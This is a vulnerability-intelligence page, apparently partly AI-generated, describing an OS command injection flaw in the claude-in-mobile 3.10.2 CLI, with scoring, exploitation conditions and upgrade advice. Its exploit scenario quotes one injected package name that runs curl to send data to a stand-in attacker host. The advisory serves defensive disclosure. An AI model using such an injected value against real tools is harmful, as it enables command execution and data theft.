Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain local low-privilege access to host running claude-in-mobile
-
DeliveryCraft parameter containing shell metacharacters (e.g., package name or file path)
-
ExploitInvoke vulnerable CLI subcommand with crafted input
-
ExecutionCLI interpolates unsanitized input into device-side sh -c command
-
ImpactArbitrary OS command executes on host or connected device
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires local system access with at least low-privilege user rights (AV:L/PR:L per CVSS 4.0 vector) - remote unauthenticated exploitation is not possible. The attacker must be able to supply attacker-controlled strings to one or more of the following CLI parameters: Android package name, Android permission identifier (e.g., android.permission.*), SharedPreferences XML filename, SharedPreferences key or value, SQLite database path, relative file path, or iOS osascript key. These parameters are processed by functions including sandbox_prefs_read, sandbox_prefs_write, sandbox_sqlite_query, sandbox_file_list, sandbox_file_read, permission_grant, and network_airplane in the android.rs and ios.rs modules. No special non-default configuration is required beyond having the tool installed. Exploitation is further constrained by the need to actively invoke the CLI with attacker-influenced input, which limits the attack surface to shared developer environments, CI pipelines processing external input, or scenarios where an unprivileged user can influence CLI arguments. |
| Impact | The CVSS 4.0 score of 1.9 (AV:L/AC:L/AT:N/PR:L/UI:N with VC:L/VI:L/VA:L/SC:N/SI:N/SA:N) accurately reflects a tightly bounded threat: exploitation requires local system presence and at least low-privilege user rights, and impact is confined to the vulnerable system with no downstream scope change. The E:P modifier confirms a public proof-of-concept exists, which lowers the technical barrier, but the absence of a CISA KEV listing and the product's narrow deployment footprint (a niche developer tool) substantially constrain real-world exposure. EPSS data was not provided in the available intelligence and cannot be assessed. The practical risk is most relevant to developer workstations, automated CI pipelines, or mobile testing infrastructure where the CLI may process inputs derived from untrusted sources such as user-supplied package names or file paths; in those environments, the PoC availability makes this a credible local-privilege-abuse vector. For typical interactive developer use with fully controlled inputs, the exploitability is negligible. No CVSS vector conflict is present - the local attack vector is consistent with the description's requirement of local access. |
| Exploit ScenarioDerived | A local attacker with low-privilege access to a developer workstation where claude-in-mobile is installed crafts an argument containing shell metacharacters - for example, a package name like com.example; curl http://attacker.example/exfil?data=$(whoami) - and passes it to a CLI subcommand such as sandbox_prefs_read. Because version 3.10.2 interpolates that string directly into a device-side sh -c command without sanitization, the injected payload executes on the host or connected Android device. A public proof-of-concept is documented in GitHub issue #40, reducing exploitation effort to near-trivial for any local user. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 27, 2026
OS command injection in AlexGladkov claude-in-mobile 3.10.2 allows a local low-privileged attacker to execute arbitrary shell commands by supplying metacharacter-laced parameters to the tool's ADB and iOS simulator CLI subsystem. The Rust CLI modules (android.rs, ios.rs) interpolated caller-supplied strings - package names, permission identifiers, XML filenames, preference keys, SQLite database paths, and relative file paths - directly into device-side sh -c invocations without sanitization. A public proof-of-concept exists (GitHub issue #40), and a vendor-released patch (v3.10.3) is available.
RemediationAI
Upgrade to claude-in-mobile v3.10.3 immediately, available at https://github.com/AlexGladkov/claude-in-mobile/releases/tag/v3.10.3. The fix in commit a86d9e55694c98a122943eeff859461d0b9aa6d6 introduces allowlist-based input validation across all ADB and iOS shell-interpolation paths; no configuration changes are required beyond the version upgrade. If upgrading is not immediately feasible, restrict the tool to processing only fully trusted, operator-controlled inputs for package names, file paths, permission identifiers, and preference keys - the specific parameters identified as injection vectors. Running the CLI inside a sandboxed CI container with a restricted user account limits the blast radius of a successful injection but does not remediate the vulnerability. No additional vendor-published workarounds are documented in available references.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
claude-in-mobile is a Rust-based developer CLI tool (CPE: cpe:2.3:a:alexgladkov:claude-in-mobile:*) that bridges a host workstation to Android devices via ADB and to iOS simulators. The vulnerable code in cli/src/android.rs and cli/src/ios.rs constructs device-side shell commands by formatting caller-supplied strings directly into sh -c invocations across multiple functions: sandbox_prefs_read, sandbox_prefs_write, sandbox_sqlite_query, sandbox_file_list, sandbox_file_read, permission_grant, and network_airplane. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) applies directly: shell metacharacters such as semicolons, pipes, backticks, and ampersands embedded in these parameters break out of the intended command context. The CVE description references src/adb/client.ts but the commit diff modifies Rust source files; this discrepancy may reflect a dual-layer codebase or an inaccuracy in the reported file path. The fix (commit a86d9e55694c98a122943eeff859461d0b9aa6d6) introduces an allowlist-based validate module with functions validate_permission_name, validate_pref_key, validate_relative_path, validate_sqlite_value, validate_xml_filename, and validate_osascript_key applied at each injection-vulnerable entry point.
Know when Claude In Mobile gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Local attack vector with low privileges required matches ADB CLI tool needing controlled input; no scope change and limited C/I/A impact consistent with local command injection bounded to the host environment.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
3DescriptionCVE.org
A security flaw has been discovered in AlexGladkov claude-in-mobile 3.10.2. This affects the function execSync of the file src/adb/client.ts. Performing a manipulation results in os command injection. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. Upgrading to version 3.10.3 is able to mitigate this issue. The patch is named a86d9e55694c98a122943eeff859461d0b9aa6d6. It is suggested to upgrade the affected component.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-67004
GHSA-27q6-gf3x-pvj2
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB